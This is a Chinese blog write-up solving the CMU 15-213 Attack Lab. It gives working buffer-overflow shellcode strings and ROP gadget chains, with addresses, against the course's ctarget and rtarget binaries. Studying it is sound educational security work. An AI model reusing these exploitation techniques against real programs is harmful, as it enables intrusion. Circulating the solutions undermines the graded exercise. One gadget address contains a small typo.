任务目标

使用两种攻击方式:

  • 缓冲区溢出(buffer overflow)
  • ROP(return-oriented-programming)攻击

文件说明:

  • ctarget:缓冲区溢出攻击
  • rtarget:ROP攻击
  • hex2raw:将16进制代码转化为字符串
  • farm.c:ROP攻击需要用到的源码

使用ctargetrtarget需要参数-q取消链接服务器(注意),参数-i用于输入文件

第一关

根据提示ctarget程序会调用test函数

void test(){
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n",val);
}

应该会对getbuf这个函数进行攻击,使用(gdb)disas getbuf查看一下汇编码

(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
   0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq   

这个函数会获取0x28字节的字符串(即40个字符),最后执行retq指令
第一关要让我们通过对getbuf函数的字符串输入,通过缓冲区溢出到达touch1函数

void touch1(){
    vlevel=1;
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

touch1函数不需要任何参数,所以我们只需要在getbuf函数执行retq指令时让当前栈顶8字节地址为touch1函数的起始地址即可
使用命令(gdb)disas touch1查看touch1函数的起始地址(0x4017c0)
有效字符串长度为0x28(40)个字节,可随意输入(避免'\n'字符),用00填充前40字节,最后在栈顶填入touch1函数的起始地址(注意栈的地址增长是递减的,所以填入的字符是地址是递增的)
构造字符串

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 <- 栈顶,rsp所在位置

成功!

$ ./hex2raw < ctarget.1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00 

第二关

touch2函数现在需要一个参数,并且该参数的值为cookie值,传入的参数是放在%rdi寄存器中

void touch2(unsigned val){
    vlevel = 2;
    if(val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n",val);
        validate(2);
    }else{
        printf("Misfire: You called touch2(0x%.8x)\n",val);
        fail(2);
    }
    exit(2);
}

这是我们需要注入我们自己的代码来将变量,存储到%rdi寄存器中。
文档中提示注入代码不能使用jmpcall指令只能使用retq指令。
我们现在不能用getbuf函数中的retq指令返回到函数的地址,而是需要返回到我们注入的代码首地址。
最后由我们注入的代码通过retq指令返回到touch2函数。
注入代码仅有可能是通过我们输入的字符串,注入代码的地址便是输入的字符串首地址。
首先获取字符串的首地址:
getbuf函数处下一个断点(gdb)break getbuf
然后运行run执行到该处,查看寄存器%rsp的值(gdb)info registers rsp
(寄存器的地址值-0x28)即当前字符串首地址(0x5561dca0-0x28=0x5561dc78),注意栈是往数值减小方向增长
使用disas touch2查看下touch2函数的首地址(0x4017ec)
准备我们的注入代码:
touch2函数地址(0x4017ec)压栈,用于retq返回到touch2函数
cookie值(0x59b997fa)存入%rdi寄存器用于传参数给touch2函数
指令如下:

pushq $0x4017ec
movq  $0x59b997fa,%rdi
retq

将注入代码转化为十六进制,使用gcc来编译汇编指令,然后反汇编获取十六进制指令码

$ gcc -c code.s
$ objdump -d code.o

获取十六进制指令码

   0:   68 ec 17 40 00          pushq  $0x4017ec
   5:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   c:   c3                      retq   

构造字符串

68 ec 17 40 00 48 c7 c7 <- 当前地址为 0x5561dc78 - 0x5561dc7f
fa 97 b9 59 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <- 栈顶,rsp所在位置,地址为0x5561dca0

成功!

$ ./hex2raw < ctarget.2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00  

第三关

touch3函数会调用hexmatch函数比较cookie的字符串和传入参数sval

void touch3(char *sval){
    vlevel=3;
    if(hexmatch(cookie,sval)){
        printf("Touch3!: You called touch3(\"%s\")\n",sval);
        validate(3);
    }else{
        printf("Misfire: You called touch3(\"%s\")\n",sval);
        fail(3);
    }
    exit(0);
}
int hexmatch(unsigned val,char *sval){
    char cbuf[110];
    char *s = cbuf+random()%100;
    sprintf(s,"%.8x",val);
    return strncmp(sval,s,9) == 0;
}

和第二关一样同样需要传入参数,不同的是这次传入的是数组,所以我们需要储存数组的值
如果把字符串像第二关一样放入输入的字符串空间中,可以发现调用hexmatch函数可能会刷新掉这部分数据。所以需要将这部分数据放在远离这个空间的地方(选择放在执行getbug函数之前的空间)。
和上一关一样我们需要跳转到我们的注入代码首地址(注入代码首地址:0x5561dca0-0x28=0x5561dc78)
然后由注入代码将字符串数组首地址放在寄存器%rdi中,执行retq指令跳转到touch3函数
使用(gdb)disas touch3获得touch3函数首地址(0x4018fa)
我们现在只需要获取到字符串的首地址就可以了
当前的%rsp0x5561dca0,我们需要在之前写入参数(0x5561dca0+0x8(rsp中存8个字节))
得到我们的注入代码

pushq $0x4018fa
movq $0x5561dca8,%rdi
retq

编译再反汇编一下获得十六进制码

   0:   68 fa 18 40 00          pushq  $0x4018fa
   5:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   c:   c3                      retq 

获得我们注入代码的首地址0x5561dca0-0x28=0x5561dc78
通过ascii码将cookie(0x59b997fa)转化为字符串(35 39 62 39 39 37 66 61)
构造字符串

68 fa 18 40 00 48 c7 c7  <- 注入代码部分    0x5561dc78
a8 dc 61 55 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  
78 dc 61 55 00 00 00 00  <- 栈顶rsp所在位置 0x5561dca0
35 39 62 39 39 37 66 61  <- 存放的字符串    0x5561dca8

成功!

$ ./hex2raw < ctarget.3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:68 FA 18 40 00 48 C7 C7 A8 DC 61 55 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 

第四关

和第二关一样需要将参数放在寄存器%rdi中,但这次不能在字符串位置注入代码了
只能通过retq指令跳转到已经存在的代码位置
反汇编下rtarget中的代码objdump -d rtarget > farm.d,找到需要的代码,即函数start_farm到函数end_farm之前的代码
我们知道传入的参数要在寄存器%rdi
有两条指令可以做到popq %rdi或者movq <>,%rdi
在反汇编得到的文件中搜索下得到的指令,没有popq %rdi指令的机器码,从movq指令入手
能发现setval_426函数中有一段代码应该可以使用

00000000004019c3 <setval_426>:
  4019c3:    c7 07 48 89 c7 90        movl   $0x90c78948,(%rdi)
  4019c9:    c3                       retq   

需要的部分指令为

48 89 c7 movq %rax,%rdi
90       nop
c3       retq

看来还需要将值放入寄存器%rax中,唯一途径只有popq指令了
搜索一下发现getval_280函数中有一段代码可以用

00000000004019ca <getval_280>:
  4019ca:    b8 29 58 90 c3           mov    $0xc3905829,%eax
  4019cf:    c3                       retq   

需要的部分指令为

58 90 popq %rax
c3    retq

加上相应偏移得到我们需要的指令处地址(0x4019ca+0x2=0x4019cc),(0x4019c3+0x2=0x4019c5)

(0x4019ca+0x2=0x4019cc)
popq %rax                 -> 栈顶+0x08填入cookie(0x59b997fa)
retq 
(0x4019c3+0x2=0x4019c5)
movq %rax,%rdi            
nop
retq

构造成字符串

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00  <- 栈顶%rsp 填入数据0x4019cc
fa 97 b9 59 00 00 00 00  <- popq指令返回给%rax寄存器的数据
c5 19 40 00 00 00 00 00  <- retq返回到的地址(movq指令首地址)
ec 17 40 00 00 00 00 00  <- retq指令返回到touch2函数

成功!

$ ./hex2raw < rtarget.1.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

第五关

和第三关相同,需要转到touch3函数,并且传入参数是一个字符串地址,放在寄存器%rdi中,所以我们需要想办法获得字符串存放的位置
要想获取字符串地址首先需要获取当前栈所在地址
获取当前地址可用指令movq %rsp <>
根据这条指令机器码可以查到函数addval_190(0x401a03+0x3=0x401a06)中有以下指令

48 89 e0 movq %rsp,%rax
c3       retq

获取了当前地址,必须还要通过计算(加/减偏移量)才能得出字符串的所在地址
查找下反汇编后的指令,发现仅有一条lea指令可以实现计算
在函数add_xy(0x4019d6)中有如下指令

48 8d 04 37 lea    (%rdi,%rsi,1),%rax
c3          retq 

可以猜想,将当前获得的地址值和偏移量放在寄存器%rdi和寄存器%rsi中,可以计算出字符串地址
要想从外部传值给寄存器,猜想可能需要popq指令
搜索发现只有函数addval_219(0x4019a7+0x4=0x4019ab)中有以下指令

58 popq %rax
90 nop
c3 retq

通过上面的指令,我们可以将偏移量和地址值放在寄存器%rax当中,这时我们需要mov指令将值转给寄存器%rdi和寄存器%rsi
通过对指令的搜索可以发现
函数setval_426(0x4019c3+0x2=0x4019c5)

48 89 c7 movq %rax,%rdi
c3       retq

函数getval_481(0x4019db+0x2=0x4019dd)

89 c2 movl %eax,%edx
90    nop
c3    retq

函数getval_159(0x401a33+0x1=0x401a34)

89 d1 movl %edx,%ecx
38 c9 cmpb %cl(空指令)
c3    retq

函数add_436(0x401a11+0x2=0x401a3)

89 ce movl %ecx,%esi
90    nop
90    nop
c3    retq

整理代码,获得如下指令

(0x401a03+0x3=0x401a06)
movq %rsp,%rax             <-获取当前栈值
retq
(0x4019c3+0x2=0x4019c5)
movq %rax,%rdi             <-将栈地址放在%rdi寄存器中
retq
(0x4019a7+0x4=0x4019ab)
popq %rax                  <-获取偏移量
retq
(0x4019db+0x2=0x4019dd)
movl %eax,%edx
retq
(0x401a33+0x1=0x401a34)
movl %edx,%ecx
retq
(0x401a11+0x2=0x401a13)
movl %ecx,%esi             <-将偏移量放在%esi寄存器中
retq
(0x4019d6)
lea  (%rdi,%rsi,1),%rax    <-%esi+%rdi的值放在%rax寄存器中
retq
(0x4019c3+0x2=0x4019c5)
movq %rax,%rdi             <-将字符串地址放在%rdi寄存器中,传给touch3函数
retq

查看touch3函数地址(0x4018fa)
构造字符串

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00    <-指令movq %rsp,%rax地址
c5 19 40 00 00 00 00 00    <-指令movq %rax,%rdi地址
ab 19 40 00 00 00 00 00    <-指令popq %rax地址
48 00 00 00 00 00 00 00    <-执行指令popq %rax,将0x48放到寄存器%rax中
dd 19 40 00 00 00 00 00    <-指令movl %eax,%edx地址
34 1a 40 00 00 00 00 00    <-指令movl %edx,%ecx地址
13 1a 40 00 00 00 00 00    <-指令movl %ecx,%esi地址
d6 19 40 00 00 00 00 00    <-指令lea (%rdi,%rsi,1),%rax地址
c5 19 40 00 00 00 00 00    <-指令movq %rax,%rdi地址
fa 18 40 00 00 00 00 00    <-函数touch3首地址 
35 39 62 39 39 37 66 61    <-字符串值
00 

成功!

$ ./hex2raw < ./rtarget.2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
最后修改:2022 年 04 月 09 日
如果觉得我的文章对你有用,请随意赞赏